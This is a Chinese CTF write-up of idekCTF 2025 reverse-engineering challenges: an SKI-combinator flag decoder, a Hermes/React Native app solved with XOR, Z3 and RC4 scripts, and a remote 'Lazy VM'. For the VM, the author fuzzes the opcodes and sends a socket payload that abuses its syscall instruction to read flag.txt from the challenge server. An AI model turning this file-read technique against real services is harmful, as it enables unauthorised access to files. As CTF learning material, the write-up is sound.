idekCTF 2025
13th,re 3/6
constructor
动态调试拼手速
ski
SKI算子,以前记得在哪个比赛里见过来着
思路很简单,发现重复的SKI指令即可
((S ((S (K S)) ((S ((S (K S)) ((S (K K)) ((S (K ((S ((S I) (K I))) (K I)))) I)))) (K ((S (K ((S ((S I) (K I))) (K I)))) I))))) ((S ((S (K S)) ((S ((S (K S)) ((S (K K)) I))) (K I)))) (K (K (K I)))))
直接交给gemini分析可知是if-else-then的实现
找到最后一组看后面是什么
观察到F开头的多个变量,统计发现正好560个对应70字符
再次观察到多组重复,gemini分析下面可知是not
(((S ((S I) (K (K I)))) (K K)) _F0)
也就是说实现的是下面这样的
if not F0
if F1:
xxx
else:
wrong
else:
wrong
到这里很确定了全是bit,找到not的位即可
with open("program.txt") as f:
data = f.read()
data = data.split("(((S ((S I) (K (K I)))) (K K)) _F")[1:]
flag = ["1"]*560
for d in data:
flag[int(d.split(")")[0])] = "0"
print(int.to_bytes(int("".join(flag), 2), byteorder="little", length=70)[::-1])
idek{d1d_y0u_0pt1m1z3_4nd_s1d3ch4nn3l3d_0r_s0lv3d_1n_7h3_1nt3nd3d_w4y}
挺脑洞的
Exposition
好不容易在国外见到了一道安卓,出的挺好的
jadx搜相关字符串并没有搜到,so文件里也都是第三方库。但关注到使用了Native React以及Hermes,搜索发现有专门的Hermes逆向:
- https://bbs.kanxue.com/thread-283616.htm
- https://github.com/edocdam/hbctool-new
- https://github.com/facebook/hermes/tree/main
可以知道是一个优化过的js引擎,可以使用hbctool来提取js字节码并反编译,得到的还是可读性很不错的
搜索字符串可以找到checkFlag函数
首先检查flag格式,可以发现里面是16_16_27格式,字符范围字母加数字;此外定义了三个bool数组,很明显check结果
r2 = r5.startsWith;
r1 = 'idek{';
r1 = r2.bind(r5)(r1);
if(!r1) { _fun5363_ip = 77; continue _fun5363 }
case 60:
r2 = r5.endsWith;
r1 = '}';
r1 = r2.bind(r5)(r1);
if(r1) { _fun5363_ip = 82; continue _fun5363 }
case 77:
r1 = false;
return r1;
case 82:
r4 = r5.slice;
r2 = 5;
r1 = -1;
r4 = r4.bind(r5)(r2, r1);
r2 = /^[a-zA-Z0-9_]{61}$/;
r1 = r2.test;
r1 = r1.bind(r2)(r4);
if(r1) { _fun5363_ip = 135; continue _fun5363 }
case 130:
r1 = false;
return r1;
case 135:
r2 = 16;
r1 = r4[r2];
r5 = '_';
if(!(r1 === r5)) { _fun5363_ip = 609; continue _fun5363 }
case 153:
r7 = 33;
r1 = r4[r7];
if(!(r1 === r5)) { _fun5363_ip = 609; continue _fun5363 }
case 167:
r1 = r4.slice;
r6 = 0;
r5 = r1.bind(r4)(r6, r2);
_closure5_slot0 = r5;
r2 = r4.slice;
r1 = 17;
r7 = r2.bind(r4)(r1, r7);
r2 = r4.slice;
r1 = 34;
r8 = r2.bind(r4)(r1);
r2 = global;
r4 = r2.console;
r1 = r4.log;
r1 = r1.bind(r4)(r5, r7, r8);
r4 = [true, true, true];
_closure5_slot1 = r4;
第一段flag:
r5 = r6.toString;
r1 = 10;
r10 = r5.bind(r6)(r1);
r6 = r10.padStart;
r5 = 2;
r1 = '0';
r10 = r6.bind(r10)(r5, r1);
r6 = _closure1_slot0;
r11 = _closure1_slot1;
r1 = 9;
r1 = r11[r1];
r1 = r6.bind(r9)(r1);
r6 = r1.sha256;
r11 = r2.Date;
r1 = '2025-';
r12 = r1 + r10;
r1 = '-';
r1 = r12 + r1;
r19 = r1 + r10;
r10 = r11.prototype;
r10 = Object.create(r10, {constructor: {value: r11}});
r20 = r10;
r1 = new r20[r11](r19, r18);
r10 = r1 instanceof Object ? r1 : r10;
r1 = r10.toISOString;
r1 = r1.bind(r10)();
r10 = r6.bind(r9)(r1);
r6 = r10.then;
r1 = function(a0) { // Environment: r3
r1 = a0;
var _closure6_slot0 = r1;
r1 = [207, 143, 244, 109, 98, 219, 179, 20, 93, 64, 118, 3, 154, 106, 77, 248, 135, 143, 226, 26, 102, 102, 88, 231, 123, 239, 122, 77, 46, 235, 13, 227];
var _closure6_slot1 = r1;
r1 = global;
r3 = r1.Array;
r2 = r3.from;
r5 = r1.Array;
r4 = r5.from;
r1 = _closure5_slot0;
r6 = r4.bind(r5)(r1);
r5 = r6.reduce;
r4 = function(a0, a1) { // Environment: r0
r2 = a1;
r1 = r2.repeat;
r0 = 2;
r1 = r1.bind(r2)(r0);
r0 = a0;
r0 = r1 + r0;
return r0;
};
r1 = '';
r1 = r5.bind(r6)(r4, r1);
r2 = r2.bind(r3)(r1);
r1 = r2.forEach;
r0 = function(a0, a1) { // Environment: r0
_fun5368: for(var _fun5368_ip = 0; ; ) switch(_fun5368_ip) {
case 0:
r8 = a0;
r7 = a1;
r0 = global;
r3 = r0.parseInt;
r5 = _closure6_slot0;
r2 = r5.slice;
r6 = 2;
r1 = r7 * r6;
r0 = r7 * r6;
r0 = r0 + r6;
r2 = r2.bind(r5)(r1, r0);
r0 = undefined;
r1 = 16;
r5 = r3.bind(r0)(r2, r1);
r3 = _closure5_slot1;
r2 = 0;
r1 = r3[r2];
if(!r1) { _fun5368_ip = 101; continue _fun5368 }
case 74:
r6 = r8.charCodeAt;
r6 = r6.bind(r8)(r2);
r4 = _closure6_slot1;
r4 = r4[r7];
r4 = r6 ^ r4;
r1 = r5 === r4;
case 101:
r3[r2] = r1;
return r0;
}
};
r0 = r1.bind(r2)(r0);
r0 = undefined;
return r0;
};
r1 = r6.bind(r10)(r1);
不要被代码唬住了,可以观察到
r5 = r6.toString;
r1 = 10;
r10 = r5.bind(r6)(r1);
实际等价于下面,即转为10进制
r6.toString(10)
以此类推可以分析出做的是new Date("2025-00-00").toISOString(),这里有个坑点,我本地js跑这个js代码toISOString会报错(所以我去爆破2025年的每一天结果都不对),后面gemini才告诉我react native里会将00转为上个月,但我也不知道为啥成了11月
notably part 1 returns the date for 2024-11-30 lol but this only works in react native, chrome fails to parse the string
总之得到的文本是"2024-11-30T00:00:00.000Z"
,然后做了个sha256得到32字节
输入的16字符经过r4 = function(a0, a1)
进行了倒序并复制,例如abc变成了ccbbaa,也就是说输入变为32长度的字符串,然后r0 = function(a0, a1)
里面和硬编码数组异或后的结果去和sha256结果比较
逆向很简单就是一组异或
from hashlib import sha256
sh256_result = sha256("2024-11-30T00:00:00.000Z".encode()).digest()
xor = [207, 143, 244, 109, 98, 219, 179, 20, 93, 64, 118, 3, 154, 106, 77, 248, 135, 143, 226, 26, 102, 102, 88, 231, 123, 239, 122, 77, 46, 235, 13, 227]
flag1 = ""
for i in range(32):
flag1 += chr(sh256_result[i] ^ xor[i])
print(flag1)
flag1 = "".join(flag1[::-2])
print(flag1)
第二段flag:
from z3 import *
# 定义r3数组(33个坐标点)
r3 = [
[2, 2], [4, 0], [2, 5], [0, 0], [5, 2], [6, 0], [3, 4], [3, 0], [5, 5],
[0, 6], [4, 7], [5, 6], [1, 0], [5, 0], [6, 2], [3, 6], [0, 4], [7, 0],
[5, 3], [2, 0], [1, 6], [6, 7], [6, 4], [7, 7], [5, 7], [1, 7], [1, 3],
[1, 5], [7, 2], [3, 1], [2, 1], [5, 4], [0, 3]
]
# 初始化网格状态S0(64维向量)
S0 = [0] * 64
for coord in r3:
row, col = coord
idx = row * 8 + col
S0[idx] = 1
# 初始化Z3求解器和变量
solver = Solver()
x = [Bool(f'x_{i}') for i in range(64)] # 64个二进制位变量
# 构建矩阵A(64x64)和方程
for i in range(64): # 遍历每个网格位置
row_i = i // 8
col_i = i % 8
expr = False # 方程左边表达式
for k in range(64): # 遍历每个操作
op_char_idx = k // 8 # 字符索引
op_bit_idx = k % 8 # 位索引(0=最高位)
# 操作影响的网格位置
positions = []
# 自身
positions.append((op_char_idx, op_bit_idx))
# 上(如果存在)
if op_char_idx > 0:
positions.append((op_char_idx - 1, op_bit_idx))
# 下(如果存在)
if op_char_idx < 7:
positions.append((op_char_idx + 1, op_bit_idx))
# 左(如果存在)
if op_bit_idx > 0:
positions.append((op_char_idx, op_bit_idx - 1))
# 右(如果存在)
if op_bit_idx < 7:
positions.append((op_char_idx, op_bit_idx + 1))
# 如果当前网格位置受此操作影响,则加入表达式
if (row_i, col_i) in positions:
expr = Xor(expr, x[k])
# 添加方程:expr == S0[i]
solver.add(expr == (S0[i] == 1))
# 求解并获取结果
if solver.check() == sat:
model = solver.model()
bits = [1 if model.eval(x[i]) else 0 for i in range(64)]
# 将比特流转换为字符串
flag = []
for i in range(8): # 8个字符
char_bits = bits[i * 8: (i + 1) * 8]
# 将比特列表转换为整数(最高位在前)
char_val = 0
for bit in char_bits:
char_val = (char_val << 1) | bit
flag.append(chr(char_val))
flag_str = ''.join(flag)
print(f"Solved flag: {flag_str}")
else:
print("No solution found")
# 定义r3数组(33个坐标点)
r3 = [
[7, 4], [2, 6], [2, 3], [1, 3], [6, 0], [4, 0], [3, 1], [5, 4],
[7, 2], [6, 6], [4, 4], [7, 1], [1, 7], [0, 6], [4, 7], [7, 6],
[1, 5], [3, 2], [0, 0], [3, 0], [1, 0], [4, 2], [3, 4], [5, 5],
[0, 1], [7, 7], [0, 7], [2, 0], [7, 0], [1, 6], [4, 3], [4, 1],
[5, 0], [7, 3], [5, 3], [6, 4]
]
# 初始化网格状态S0(64维向量)
S0 = [0] * 64
for coord in r3:
row, col = coord
idx = row * 8 + col
S0[idx] = 1
# 初始化Z3求解器和变量
solver = Solver()
x = [Bool(f'x_{i}') for i in range(64)] # 64个二进制位变量
# 构建矩阵A(64x64)和方程
for i in range(64): # 遍历每个网格位置
row_i = i // 8
col_i = i % 8
expr = False # 方程左边表达式
for k in range(64): # 遍历每个操作
op_char_idx = k // 8 # 字符索引
op_bit_idx = k % 8 # 位索引(0=最高位)
# 操作影响的网格位置
positions = []
# 自身
positions.append((op_char_idx, op_bit_idx))
# 上(如果存在)
if op_char_idx > 0:
positions.append((op_char_idx - 1, op_bit_idx))
# 下(如果存在)
if op_char_idx < 7:
positions.append((op_char_idx + 1, op_bit_idx))
# 左(如果存在)
if op_bit_idx > 0:
positions.append((op_char_idx, op_bit_idx - 1))
# 右(如果存在)
if op_bit_idx < 7:
positions.append((op_char_idx, op_bit_idx + 1))
# 如果当前网格位置受此操作影响,则加入表达式
if (row_i, col_i) in positions:
expr = Xor(expr, x[k])
# 添加方程:expr == S0[i]
solver.add(expr == (S0[i] == 1))
# 求解并获取结果
if solver.check() == sat:
model = solver.model()
bits = [1 if model.eval(x[i]) else 0 for i in range(64)]
# 将比特流转换为字符串
flag = []
for i in range(8): # 8个字符
char_bits = bits[i * 8: (i + 1) * 8]
# 将比特列表转换为整数(最高位在前)
char_val = 0
for bit in char_bits:
char_val = (char_val << 1) | bit
flag.append(chr(char_val))
flag_str = ''.join(flag)
print(f"Solved flag: {flag_str}")
else:
print("No solution found")
第三段flag:
rc4解密即可,密钥是多个常量拼接
def KSA(key):
""" Key-Scheduling Algorithm (KSA) 密钥调度算法"""
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
""" Pseudo-Random Generation Algorithm (PRGA) 伪随机数生成算法"""
i, j = 0, 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key, text):
""" RC4 encryption/decryption """
S = KSA(key)
keystream = PRGA(S)
res = []
for char in text:
res.append(char ^ next(keystream))
return bytes(res)
key = b"0.150.9960.70.80.005"
text = [134, 145, 231, 193, 40, 196, 78, 177, 206, 34, 168, 148, 66, 43, 66, 136, 194, 158, 195, 255, 243, 123, 190, 218, 173, 28, 3]
print(len(text))
print(RC4(key, text))
合并后为idek{d3spit3_th3_nam3_No_Expo_was_Used_in_the_cr34t10n_of_7hi5_4pp}
Lazy VM
I was too
lazybusy to code a CTF challenge myself, so I hired a freelancer online for just $5 to take care of it. However, when I received the work, the quality was far below expectations. Deciding not to pay for the poor-quality challenge, I refused to settle the debt. Frustrated, the freelancer left the challenge running online, refusing to hand it over or shut it down.All I know is that it’s a virtual machine challenge, and the flag.txt file is located in the same folder as the challenge. Beyond that, I have no idea how the challenge works
nc lazy-vm.chal.idek.team 1337
只给了个链接告诉你是VM,需要自己手动测试输入内容,是一个漫长的fuzz测试,很难想象这么多人做出来了
赛后复现学习,比赛的时候除了字母i其他都不行,fuzz了很久都没找到其他输入点,但其实也观察到0-8不对劲没有unknown instruction,但当时以为是不可见字符程序没有读取到
首先fuzz输入单字符发现,0-8(字节)、字符i可以输入,其他都不行,要么是被ban的flag字符,要么报错无效指令
接下来分析0-8字节输入做了什么,下面是案例脚本
import socket
HOST = "lazy-vm.chal.idek.team"
PORT = 1337
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.settimeout(5)
x = 0x69
initial_data = s.recv(4096).decode(errors='ignore')
payload = [1, 100, x]
s.send(bytes(payload))
response = b""
while True:
try:
chunk = s.recv(4096)
if not chunk:
break # 连接已由服务器关闭
response += chunk
except socket.timeout:
# 读取超时,意味着服务器停止发送数据
break
response = response.decode(errors='ignore')
print(response)
分析如下(稍微分析下可知很多都是一个1-7然后跟立即数imm)
- i指令(0x69,105):打印各种vm信息
- 0指令:未知,输入就终止
1指令:push imm
[1, 100, 105] Please enter your code: ============== REGISTER ================== R0 = 0x0 R1 = 0x0 R2 = 0x0 R3 = 0x0 R4 = 0x0 R5 = 0x0 R6 = 0x0 R7 = 0x0 ip: 0x2 sp: 0x63 =================== STACK ===================== 0x64 0x0 0x0 0x0 0x0 =================== MEMORY ===================== The pay is only $5. Too lazy to implement this Thanks for playing
2指令:pop r[imm]
[1, 100, 1, 99, 105, 2, 0, 105] Please enter your code: ============== REGISTER ================== R0 = 0x0 R1 = 0x0 R2 = 0x0 R3 = 0x0 R4 = 0x0 R5 = 0x0 R6 = 0x0 R7 = 0x0 ip: 0x4 sp: 0x62 =================== STACK ===================== 0x63 0x64 0x0 0x0 0x0 =================== MEMORY ===================== The pay is only $5. Too lazy to implement this ============== REGISTER ================== R0 = 0x63 R1 = 0x0 R2 = 0x0 R3 = 0x0 R4 = 0x0 R5 = 0x0 R6 = 0x0 R7 = 0x0 ip: 0x7 sp: 0x63 =================== STACK ===================== 0x64 0x0 0x0 0x0 0x0 =================== MEMORY ===================== The pay is only $5. Too lazy to implement this Thanks for playing
- 3指令:push r[imm]
- 4、5、6指令:未知
8指令:syscall
[1, 100, 1, 101, 105, 2, 0, 105, 8, 0, 105] Please enter your code: ============== REGISTER ================== R0 = 0x0 R1 = 0x0 R2 = 0x0 R3 = 0x0 R4 = 0x0 R5 = 0x0 R6 = 0x0 R7 = 0x0 ip: 0x4 sp: 0x62 =================== STACK ===================== 0x65 0x64 0x0 0x0 0x0 =================== MEMORY ===================== The pay is only $5. Too lazy to implement this ============== REGISTER ================== R0 = 0x65 R1 = 0x0 R2 = 0x0 R3 = 0x0 R4 = 0x0 R5 = 0x0 R6 = 0x0 R7 = 0x0 ip: 0x7 sp: 0x63 =================== STACK ===================== 0x64 0x0 0x0 0x0 0x0 =================== MEMORY ===================== The pay is only $5. Too lazy to implement this unknown syscall
syscall是关键,可以根据syscall各种系统调用号实现读取flag.txt
具体思路就是实现
- read stdin flag.txt->file_name_buf
- open file_name_buf->fd
- read fd->buf
- write buf->stdout
对整套cpu和汇编考察很细很难解释思路呢,最后手写payload把flag读了出来
import socket
HOST = "lazy-vm.chal.idek.team"
PORT = 1337
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.settimeout(5)
x = 0x69
initial_data = s.recv(4096).decode(errors='ignore')
payload = [1, 0, 1, 0x10, 1, 8, 2, 3, 2, 2, 2, 1, x, 8, x, 1, 2, 2, 0, 1, 0x10, 2, 1, 1, 0, 2, 2, x, 8, x, 6, 4, 0, x, 3, 4, 2, 1, 1, 0x30, 2, 2, 1, 50, 2, 3, x, 8, x, 1, 1, 2, 0, 1, 1, 2, 1, 1, 0x30, 2, 2, 1, 50, 2, 3, x, 8, x]
print(payload)
s.send(bytes(payload))
s.send(b"flag.txt")
response = b""
while True:
try:
chunk = s.recv(4096)
if not chunk:
break # 连接已由服务器关闭
response += chunk
except socket.timeout:
# 读取超时,意味着服务器停止发送数据
break
response = response.decode(errors='ignore')
print(response)
题目思路是很好,做题体验是真差,还是看上面那个国外老哥的wp吧
剩下的两个题我没法搞懂,类型太偏了,以后再说吧